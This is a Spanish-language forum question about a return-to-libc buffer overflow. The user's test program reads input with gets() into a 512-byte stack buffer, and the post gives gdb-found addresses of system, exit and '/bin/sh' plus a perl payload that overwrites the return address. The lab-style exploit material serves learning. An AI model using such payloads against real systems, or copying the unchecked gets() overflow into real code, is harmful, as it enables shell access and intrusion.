return to libc - problem

Tengo problemas con el exploit return-to-libc. El problema es que no sucede nada, pero no hay falla de segmentación (y sí, en realidad estoy desbordando la pila).

Este es mi programa:

int main(int argc, char **argv) {
  char array[512];
  gets(array);
}

Estoy usando gets en lugar de strcopy, porque mis direcciones comienzan con 0x00 y strcpy piensa que es el final de una cadena, por lo que no puedo usarlo.

Aquí están las direcciones que necesito:

$ gdb main core
(gdb) p system
$1 = {<text variable, no debug info>} 0x179680 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x16f6e0 <exit>
(gdb)  x/s 0xbffffe3f
0xbffffe3f:      "/bin/sh"

Al ingresar la secuencia correcta, esto sucede:

eleanor@eleanor32:~/testing/root$ perl -e 'print "\x41"x516 . "\x80\x96\x17\x00" . "\xe0\xf6\x16\x00" . "\x3f\xfe\xff\xbf"' | ./main
eleanor@eleanor32:~/testing/root$

asi que nada

Pero si ingreso 520 'A's (0x41), entonces el EIP se desborda con' A's. Si hay 516 'A', no sucede nada, pero EIP contiene la dirección del sistema, siguiendo la dirección de salida, siguiendo el puntero / bin / sh.

¿Por qué no pasó nada?

Respuestas a la pregunta(1)

Su respuesta a la pregunta